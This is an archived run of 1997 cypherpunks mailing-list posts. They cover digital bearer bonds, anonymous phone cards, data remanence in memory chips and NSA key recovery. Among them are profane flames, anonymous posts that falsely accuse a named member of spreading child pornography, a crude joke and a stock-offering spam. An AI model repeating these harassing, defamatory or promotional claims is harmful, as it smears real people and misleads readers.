> 	- Igor.

True.  Also, there are two kinds of efficiency.  The "efficient" in 
eg, "efficient market hypothesis" is different from the "efficient" 
in "markets are more efficient than planned economies".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Apr 1997 07:08:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Hash Techniques
In-Reply-To: <334F4E24.2C0F@got.net>
Message-ID: <199704121408.QAA06581@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


:0
* Received: .*sympatico.ca
/dev/null




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sat, 12 Apr 1997 14:02:32 -0700 (PDT)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: None
In-Reply-To: <199704112140.OAA27286@fat.doobie.com>
Message-ID: <3.0.1.32.19970412163839.007e0bf0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:14 PM 4/11/97 -0600, Graham-John Bullers wrote:
|On Fri, 11 Apr 1997, Huge Cajones Remailer wrote:

The medicine is as bad as the ailment;

I think Graham-John Bullers <real@freenet.edmonton.ab.ca> needs each of us to send ten copies of this back to him.

|
|I think Vulis needs each of us to send ten copies of this back to him.
|
|> There's a rumor that Timothy Mayhem sells his dead relatives as 
|> fertilizer as they constitute the best shit in California.
|> 
|>           |||||||||||
|>            \~0/ \0~/
|>            <  (0)  >
|>       --oOO--/|||\--OOo- Timothy Mayhem
|> 
|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|Graham-John Bullers       email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca  
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 12 Apr 1997 14:57:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <v0302090eaf75a184e028@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Crispin?

Fuck you. With a brick.

Now, exactly what did that nasty little bit of vituperation have have to do
with our admittedly equivocal discussions about the definition of
randomness, and whether any given market was a random process --
definitional prestidigitation aside -- and thus as efficient as it was ever
going to be? Something any finance major, and probably any electrical
engineer, for that matter, is taught in the third week of school?

Not a god-damned thing.

A point, which, if you actually go back and *read* the asinine (woops!) bit
of logical sophistry (so sorry!) you eventually found yourself in, you
might have actually comprehended. If you didn't fancy yourself as God's
Gift to Disputation (damn... another one; I simply *must* stop this).

Which, of course, was my point in showing you all your ad hominems. A point
you didn't actually get, insisting on piling on more instead, so you could
"prove" your point with a veritable bestiary of informal fallacies. (The
nadir of which, by the way, was asking me to clarify something I said in
passing, and then calling it a "straw man" in reply. Remarkable.)

Having watched you for a while, and having determined that you have nothing
new to add to the discussions here, I have no compunction whatsoever about
putting you into my killfile.

With a brick, Mr. Cretin^h^h^h^hispin.

<Plonk!>

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 16:52:01 -0700 (PDT)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: "internet is ruining representative govt"
In-Reply-To: <199704122040.NAA09910@netcom13.netcom.com>
Message-ID: <33501CBF.1172@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:

> *To: Multiple recipients of list <info-policy-notes@essential.org>
> *Subject: Cokie Roberts on How Internet Is Ruining Representative Government

> For many parents, the idea of yet another influence in their children's
> lives over which they have no control is threatening.

  Kookie Roberts is just another in a long line of parents who
seem to think that control over their children's development
is the responsibility of someone other than themselves.
  I have a wonderful idea. How about if those parents who don't
want to assume responsibility for control over their children's
lives pass custody of them to someone who will assume that
responsibility, instead of arguing that everyone else's rights
must be abridged because they are busy doing other things.

  I, for one, don't want to be forced to live in Kookie's world
just because she is too busy being busy and important to properly
supervise her children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 16:52:00 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Fuck/god-damned/damn / Was--Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <33501DF7.6A62@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> 
> Fuck you. With a brick.
> god-damned 
> damn... 

  As a long-time sufferer of Tourette Syndrome, I would like to 
thank all those on the list who have gone out of their way to
make me feel at home.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/webworld






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 12 Apr 1997 14:57:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: anonymous credit
In-Reply-To: <199704121752.KAA03393@crypt.hfinney.com>
Message-ID: <v0302090daf759e70271e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


This looks pretty much like a standard secondary market for digital bearer
bonds. For the few of those here who haven't done so already ;-), see the
e$ home page for several rants on the same subject.
<http://www.shipwright.com/>

The only people who really need to be identified in such a market -- at
least as "identified" as a perfect pseudonym needs to be -- are the issuer
and the trustee, both of whom must have some kind of persistant reputation
in order to issue the bonds in the first place. The issuer because they're
borrowing the money for something, and trustee, because, as the financial
intermediary, they're renting their reputation to the trade in exchange for
a haircut on a transaction somewhere, usually at issuance and redemption.

In Mr. Dai's case, the trustee is some large trustworthy entity, and the
issuer is a bunch of anonymous, or at least pseudonymous, people whose
reputations would be trashed by the trustee though on a separate "channel"
if they don't pay up. It's actually what happens with mortgages and bank
accounts all the time, except we're doing it here in bearer form. In fact,
in blinding(?) the borrower's identity from the lender, we doing something
pretty much like securitizing the debt. There is nothing to keep us from
pooling the debt and issuing securitized versions, controlling for all
kinds of risks much the same way that GNMAs, or CMOs, or other deriviative
fixed income assets do. In fact, it's a very good business reason for doing
this, and so it probably will happen in the long run.

Once again, anonymity (of a sort) is cheaper than identity.

By the way, the trustee doesn't have to be large, only reputable.

If Moore's Law allows it, I anticipate markets in which the trustees could
become very small indeed, and would actually form syndicates with lots of
entities to handle what would now be considered routinely small
transactions, like lunch. :-). This the "personal" digital bearer bond that
I abuse so much as a replacement for credit cards when I explain this stuff
to people who are starting to learn about it. :-).

Hal's discussion about lending principal and borrowing from the same pool
at the same time reminds me of a scheme I've heard for hedging against the
eventual day when the US government repudiates its debt. If you feel
morally obliged to kick in your share, anyway. The idea is, hold your
calculated share of the national debt in US Treasuries (with interest
reinvestment, of course :-)), and, when the fateful day comes, you'll owe
the "money", now zero, to yourself, just like Roosevelt said. Actually, if
the government is moral and starts to repay the debt, you can hold
treasuries and redeem them to pay the debt-repayment surtax. Of course, you
could make better money elsewhere, but there is a certain, um, fireside,
symmetry about it.

At this stage, however, I'm a confirmed pyrophobe, Fed-wise.


Cheers,
Bob Hettinga






-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 16:52:11 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Appeals to Authority and Herr Doctor Professors
In-Reply-To: <Pine.HPP.3.91.970411191249.14680A-100000@cor.sos.sll.se>
Message-ID: <33501FB1.5109@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> my opinions are my own, and do not represent any agency
> other than the ones involved in the murder of J.F.K.

  Uhh...OK.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 17:39:28 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Jim Bell / Columbian News Articles
Message-ID: <33502C13.2FD6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A variety of articles on Jim Bell are available at:
http://www.columbian.com

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 12 Apr 1997 18:09:39 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [ADMINISTRATIVIUM] Degausser
In-Reply-To: <199704130002.UAA00448@dhp.com>
Message-ID: <Pine.A41.3.95.970412190852.52162A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 12 Apr 1997, lucifer Anonymous Remailer wrote:

> Embedded in Timothy C. May's babblings are preposterous lies, wild distortions, 
> child pornography (both as graphic descriptions and in JPEG format), ethnic 
> slurs, and racial epithets.
> 
>           <<<<
>          o(0-0)o
>       -ooO-(_) Ooo-- Timothy C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 12 Apr 1997 17:03:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Degausser
Message-ID: <199704130002.UAA00448@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Timothy C. May's babblings are preposterous lies, wild distortions, 
child pornography (both as graphic descriptions and in JPEG format), ethnic 
slurs, and racial epithets.

          <<<<
         o(0-0)o
      -ooO-(_) Ooo-- Timothy C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 12 Apr 1997 20:34:10 -0700 (PDT)
To: *****Jay Jason LaBelle***** <cypherpunks@toad.com>
Subject: Re: the substrate
In-Reply-To: <Pine.SOL.3.91.970412214652.16264A-100000@expert.cc.purdue.edu>
Message-ID: <v03007802af76111a1e6c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:48 PM -0800 4/12/97, *****Jay Jason LaBelle***** wrote:
>What exactly happens to the substrate that causes data to be somewhat
>readable after a specific bit pattern has been stored there for a long time?
>

I really hate these short, ambiguous questions.

If I understand your question, it depends on the technology, In traditional
silicon devices, either NMOS or CMOS, using SiO2 as the dielectric in the
storage capacitors and/or transfer gates, longterm storage of a fixed bit
pattern can produce residual threshold shifts. This can be caused by
trapping in the oxide, or even by short channel effects injecting electrons.

DRAMs and SRAMs have different imprinting characteristics.

(Interestingly, exposure to gamma or beta radiation uniformly can "freeze
in" a stored bit pattern for later readout under special conditions.)

I suggest a good book on semiconductor device physics, such as Andy Grove's
book, or Sze's standard textbook.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Apr 1997 18:32:16 -0700 (PDT)
To: Martin Minow <cypherpunks@toad.com
Subject: Re: Swedish Narcotics Police Demand Telephone Card Database
In-Reply-To: <v03102803af7468aac645@[17.219.103.108]>
Message-ID: <3.0.1.32.19970412213029.0074c920@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 03:36 PM 4/11/97 -0700, Martin Minow wrote:
>According to an article in the Swedish newspaper, Svenska Dagbladet
><http://www.svd.se/svd/ettan/ettan_97-04-11/narkotikapolisen.html>,
>the Stockholm narcotics police has asked the national police and
>State Prosecutor to require that purchasers of a new telephone
>card used for mobile telephones be registered, and that the police
>have access to the purchaser database. "Since the card is purchased
>anonymously, the owner cannot be determined, which makes wiretapping
>impossible." 

This week's Economist has an article on how the Italian national phone system
is making lots of money marketing GSM phones fed by cards that can be bought
for cash.  It expands the market for such phones.

I mentioned a few weeks ago, that Omnitel (a new PCS operator in the NYC
vicinity is selling (and heavily promoting) its no contract, no credit check,
card fed phone.  The phones and cards (after you buy the phone cards, you
call in the cards to an operator to add credit to the account) are available
all over the area.  The phone costs $99 (after rebate).

Yesterday, as I was walking past a Radio Shack, I noticed that they are also
selling a competing card fed PCS phone with the contradictory name of
Tracphone.

I love Capitalism.

It's easy to see why New York PCS operators would turn in this direction. 
They won expensive PCS franchises and have to spend big bucks to tower the
vicinity.  It would be nice for them if they could get an income stream to
help pay part of the interest.  But there's a problem.  Cellular providers
NYNEX/Bell Atlantic and AT&T are offering phones for $15/month which work
throughout the BOSWASH megaplex (and nationwide with roaming charges)
meanwhile the PCS vendors just cover NYC and Northern New Jersey.  They need
to offer something else.

The benefit of card fed phones to vendors is obvious.  Suddenly, the 20-40%
of the population that can't (or doesn't want to) qualify for a
credit-checked cellular account can just pony up the cash and walk out with
one.

A real privacy benefit as well.  If the authorities can't keep anonymous
people from getting accounts in such a regulated industry, it is hard to
imagine how they expect to bar anonymous accounts in an unregulated system
like the Net.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: *****Jay Jason LaBelle***** <jlabelle@expert.cc.purdue.edu>
Date: Sat, 12 Apr 1997 19:48:07 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com>
Subject: the substrate
Message-ID: <Pine.SOL.3.91.970412214652.16264A-100000@expert.cc.purdue.edu>
MIME-Version: 1.0
Content-Type: text/plain


What exactly happens to the substrate that causes data to be somewhat 
readable after a specific bit pattern has been stored there for a long time?


------------------------------------------------------------------------------
Jay LaBelle                                   Amateur Radio Callsign:   KB8ZAV
Phone:(317)495-2836                                       
------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Henry Summers <summers@osu.edu>
Date: Sat, 12 Apr 1997 19:50:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Business Opportunity
Message-ID: <01IHMV30CHWYBIL0Z6@phem6.acs.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain


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*******************************************************************
<[USERNAME]> sent you this message using NetMailer 
from Alpha Software Corporation. 
 
Visit http://www.netmailer.com/trial for more information.
*******************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sierra On-Line <webmaster@sierra.com>
Date: Sat, 12 Apr 1997 23:19:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Sierra On-Line FAQ
Message-ID: <199704130619.XAA09452@cerberus.sierra.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for visiting SierraWeb! This message contains important
information regarding your subscription, so we recommend that you
keep a copy for future reference. In particular, you will need to
know your username and password to access certain features of our
web site:

    USERNAME: cypherpunks
    PASSWORD: cypherpunks

We can't change your password or look up your existing information,
so if you lose your password, you'll have to re-apply under a
different name.

The rest of this message contains an introduction to our site and
answers to frequently asked questions. Thanks again for visiting
SierraWeb!

               - - - - - - - - - - - - - - - - - - - - 
 
Questions!  When you have a web site, you tend to hear the 
same questions from a lot of different people.  And so your 
friendly webfolks at Sierra put together a list of questions 
that we hear on a regular basis, complete with the answers 
that we've typed so many times that we see them in our sleep.  
And we call it:

THE SIERRAWEB FAQ (that's Frequently Asked Questions, not 
                   Frantic About Queensryche.  Read on!)

Q:  Okay, I've managed to live this long without logging onto 
    your really cool web site, but I just can't take it any more!  
    How do I log on?

A:  Well, first you're going to have to go there.  The SierraWeb 
    address is:

          http://www.sierra.com/

    This will take you to our main menu page.  From this page, 
    you can register to be a member of our site (which we'd 
    probably like to call the Sierra Club, except that the 
    name's already taken, and they don't do computer games).  
    Click on Join to register, and you'll be asked to choose a 
    user name and password, and write them down somewhere where 
    the dog won't chew `em up.

Q:  I've spent the last six months in a freak time warp/in my 
    aunt's house in Pittsburgh/in a pit/writing my thesis/on 
    an archaeological expedition to Egypt/trying to solve the 
    Chinese Checkers puzzle in Shivers, and in the meanwhile 
    I've forgotten my username or password.  Can you tell me 
    what it is?

A:  Nope! We have no way to tell what your password or user 
    name is. If you've forgotten yours, it's time to pick a 
    new one. Just fill out the registration form again, this
    time choosing a different username and password.

Q:  You've got enough pages on your web site to keep Victor Hugo
    happy (cultural reference, here, folks ... French author, 
    wrote Les Miserables, you could get a hernia lifting the 
    unabridged version). So how am I supposed to find all the 
    info I want about a specific product without having to dig
    through all those pages?

A:  You're in luck. The Search feature of our site will allow 
    you to go to just the topics you're interested in and 
    skip the rest, like picking through the dessert buffet and
    selecting only the stuff that has jell-o in it. So if you
    only like baseball simulations, or low-fat recipe programs,
    or computer games with robots in them, all you need to do is
    click on Search (always found at the bottom right-hand corner 
    of each page), and type in the word you're looking for. This
    will provide you with a list of all the places on our site
    that your subject is mentioned.  Look through the list, click
    on anything that looks interesting, and it'll take you there!

Q:  Okay, so I've looked through 97 different pages on your site,
    downloaded 8 demos and enough screenshots to fill a bucket of
    zip cartridges, talked for three hours with the folks in the
    Chat rooms, and, frankly, my brain is fried and I really don't
    want to hit "<- Back" about 183 times to get back to the 
    index page.  Isn't there an easier way?

A:  Yep. At the bottom of each page is a "Home" button. Click it.

Q:  I clicked to download a file, and it gave me an error message
    which said, "FTP anonymous access denied".  What's up with 
    that?  I wasn't trying to be anonymous.  Doesn't your system
    recognize me any more?  This is starting to sound like an 
    episode of "Nowhere Man"!

A:  Don't worry about it.  It just means that the file you want
    can't be downloaded from the server at the moment.  Our 
    server is usually busier than a colony of ants at a Fourth 
    of July picnic, so it may take several tries to get a file.
    Just try your download again later.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Apr 1997 23:37:18 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <19970412233422.41891@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, Apr 12, 1997 at 04:57:57PM -0400, Robert Hettinga wrote:
> Mr. Crispin?
> 
> Fuck you. With a brick.
[...]
> Having watched you for a while, and having determined that you have nothing
> new to add to the discussions here, I have no compunction whatsoever about
> putting you into my killfile.
> 
> With a brick, Mr. Cretin^h^h^h^hispin.
> 
> <Plonk!>
> 
> Cheers,
> Bob Hettinga

Well, you've probably all seen this before, but somehow it seemed 
appropriate for the occasion:

   Pierre, the French fighter pilot, takes his girlfriend, Marie, out
   for a pleasant little picnic by the river Seine.  It's a beautiful
   day and love is in the air so Marie leans over to Pierre and says:
   "Pierre, kiss me!".  So our hero grabs a bottle of red wine and
   passionately splashes it on Marie's lips. 

   "What are you doing, Pierre?" shrieks Marie. 

   "Well, my name is Pierre, the French Fighter Pilot, and when I have
   red meat I like to have red wine!"

   His answer is good enough for Marie and things begin to heat up. 

   So she says: "Pierre, kiss me lower."

   Our hero rips off her blouse, grabs a bottle of white wine and
   starts pouring it all over her breasts. 

   "Pierre, what are you doing?"

   "My name is Pierre, the French Fighter Pilot, and when I have white
   meat, I like to have white wine!"

   They resume their passionate interlude and things really steam up. 

   Marie leans over once more and softly whispers into his ear:
   "Pierre, kiss me lower." Pierre tears off her underwear, grabs a
   bottle of Cognac and sprinkles it all over.  He grabs a match and
   lights it on fire.  Patting the flames out furiously, Marie
   screams: "PIERRE, WHAT ARE YOU DOING!!!?"

   "My name is Pierre, the French Fighter Pilot, and when I go down, I
   go down in flames!"

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chairman <ceo@mitnet.com>
Date: Sun, 13 Apr 1997 01:36:50 -0700 (PDT)
Subject: Digi-Cash IPO!  $1.60 per share
Message-ID: <199704130245.WAA04552@ispam.net>
MIME-Version: 1.0
Content-Type: text/plain


Greetings:

Our market research indicated that this information 
may very well be very interesting to you!
  
As you may know, initial public stock offerings confer 
upon QUALIFIED INVESTORS huge profit potential
opportunities, IF they understand risk.  

Millennium Interactive Technologies Corp., developer of 
the first ever advertiser funded system of digital cash 
is offering 625,000 common shares directly to the public 
at $1.60 per share, with a 625 share minimum.
 
MITNET is an E-commerce startup which will offer 
Digital Cash and a FREE smart card to every user who 
retrieves advertising E-mail from its Internet web
site.  MITNET DCUs (Digital Currency Units) can be 
redeemed to pay for your on-line charges, Or converted 
instantly into the currency of any nation.   MITNET 
ad-mail is the future of Internet advertising!

  OFFERING CAN ONLY BE MADE BY WAY OF PROSPECTUS

QUALIFIED INVESTORS of full age can obtain a printed 
copy of this offering prospectus, demo software, and the
website URL, by sending a reply with name, street address, 
and day or evening phone number.  (please specify)  
===================================================
This is neither an offer to sell, nor the 
solicitation of an offer to buy any securities. 
===================================================
Dislike commercial e-mail?  Let us put you on our 
master *DO-NOT-MAIL*  list which we supply to 400+ 
bulk e-mail firms.  Simply reply with the word 
remove anywhere in your message.
===================================================
           mailto:ceo@mitnet.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tdls@voyager.net (Tom)
Date: Sun, 13 Apr 1997 05:36:34 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: LSL5 - Patty can't get into Studio 2
Message-ID: <199704131236.FAA15487@cerberus.sierra.com>
MIME-Version: 1.0
Content-Type: text/plain


When you get to the bottom of the elevator, you have to go one screen to
the right to get to the right studio. Then you can use the number from
the blue stickum.

--

(This message was sent to you automatically as a reply
to a message you posted in "The Land of the Lounge Lizards" on Sierra's web
site at http://www.sierra.com/messages/larry/.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 13 Apr 1997 08:04:31 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: None
In-Reply-To: <199704131309.JAA32360@dhp.com>
Message-ID: <Pine.A41.3.95.970413090316.60570B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.   
  On Sun, 13 Apr 1997, lucifer Anonymous Remailer wrote:

> Tim C. May styles his facial hair to look more like pubic hair.
> 
>          /_/\/\
>          \_\  / Tim C. May
>          /_/  \
>          \_\/\ \
>             \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 13 Apr 1997 06:09:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NoneZero-knowledge commit
Message-ID: <199704131309.JAA32360@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May styles his facial hair to look more like pubic hair.

         /_/\/\
         \_\  / Tim C. May
         /_/  \
         \_\/\ \
            \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Sun, 13 Apr 1997 09:47:53 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: NSA on GAK
Message-ID: <3.0.32.19970413094112.006df174@best.com>
MIME-Version: 1.0
Content-Type: text/enriched


[I think the other exceprt was based on this one, from Charles IX of France in 1563]


Printing press registration may prove essential in making printing and literacy managable 
on an international basis. We are not the only country wrestling 
with the public safety implications of  printing presses. 
France, Israel and Russia recently imposed import and domestic 
use restrictions. Several Asian, South American and African 
countries have had similar restrictions in place for years. Others
may impose them as  printing presses proliferate.

For many overseas, as well as here, the logic of the need to 
balance business imperatives with public safety concerns argues 
for printing press registration. The European Union and other confederations 
are considering printing press registration-based infrastructures. The world's major 
standards bodies are designing future standards so that printing press registration 
can be accommodated.

International standards and protocols for printing press registration may prove 
essential to hand off national restrictions on  printing and literacy, to 
promote a broad export market for printing presses and to establish 
a infrastructure acceptable for general international 
use. This would accelerate the realization of the promise of information 
technology, and that would be in everyone's best interest.

Working in partnership, government and industry together need to 
lay the foundation necessary to sustain and strengthen information 
security for America. I wish to emphasize that the infrastructure for 
printing press registration will be built by industry as a commercial venture. 
This task is huge. Collaboration among many partners will be 
essential if we are to establish a PPRI that promotes the use of 
printing and literacy worldwide.

===========================================================================


At 10:47 AM 4/13/97 -0400, John Young wrote:
>Excerpts of remarks by NSA head William Crowell to
>NISSC96, October, 1996:
>
>Key recovery may prove essential in making encryption scalable 
>on an international basis. We are not the only country wrestling 
>with the public safety implications of unbreakable cryptography. 
>France, Israel and Russia recently imposed import and domestic 
>use restrictions. Several Asian, South American and African 
>countries have had similar restrictions in place for years. Others
>may impose them as strong cryptography proliferates.
>
>For many overseas, as well as here, the logic of the need to 
>balance business imperatives with public safety concerns argues 
>for key recovery. The European Union and other confederations 
>are considering key recovery-based KMIs. The world's major 
>standards bodies are designing future standards so that key 
>recovery can be accommodated.
>
>International standards and protocols for key recovery may prove 
>essential to hand off national restrictions on strong encryption, to 
>promote a broad export market for cryptography and to establish 
>a key management infrastructure acceptable for general international 
>use. This would accelerate the realization of the promise of information 
>technology, and that would be in everyone's best interest.
>
>Working in partnership, government and industry together need to 
>lay the foundation necessary to sustain and strengthen information 
>security for America. I wish to emphasize that the infrastructure for 
>key management will be built by industry as a commercial venture. 
>This task is huge. Collaboration among many partners will be 
>essential if we are to establish a KMI that promotes the use of 
>encryption worldwide.
>
>-----
>
>For full talk:
>
>   http://jya.com/nsagak.htm
>
>
>


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 09:47:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970412224402.009d66d0@mail.teleport.com>
Message-ID: <v0302093caf76a0b78618@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:41 am -0400 on 4/13/97, Rich Graves wrote:


>I've been told that the main reason
> almost the entire MSN team left Microsoft about a year ago is that they
> were prohibited from pursuing more efficient non-proprietary solutions.

Hettinga's paraphrase of Gilmore's Law:

"A geodesic economy sees monopoly as damage and routes around it."

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
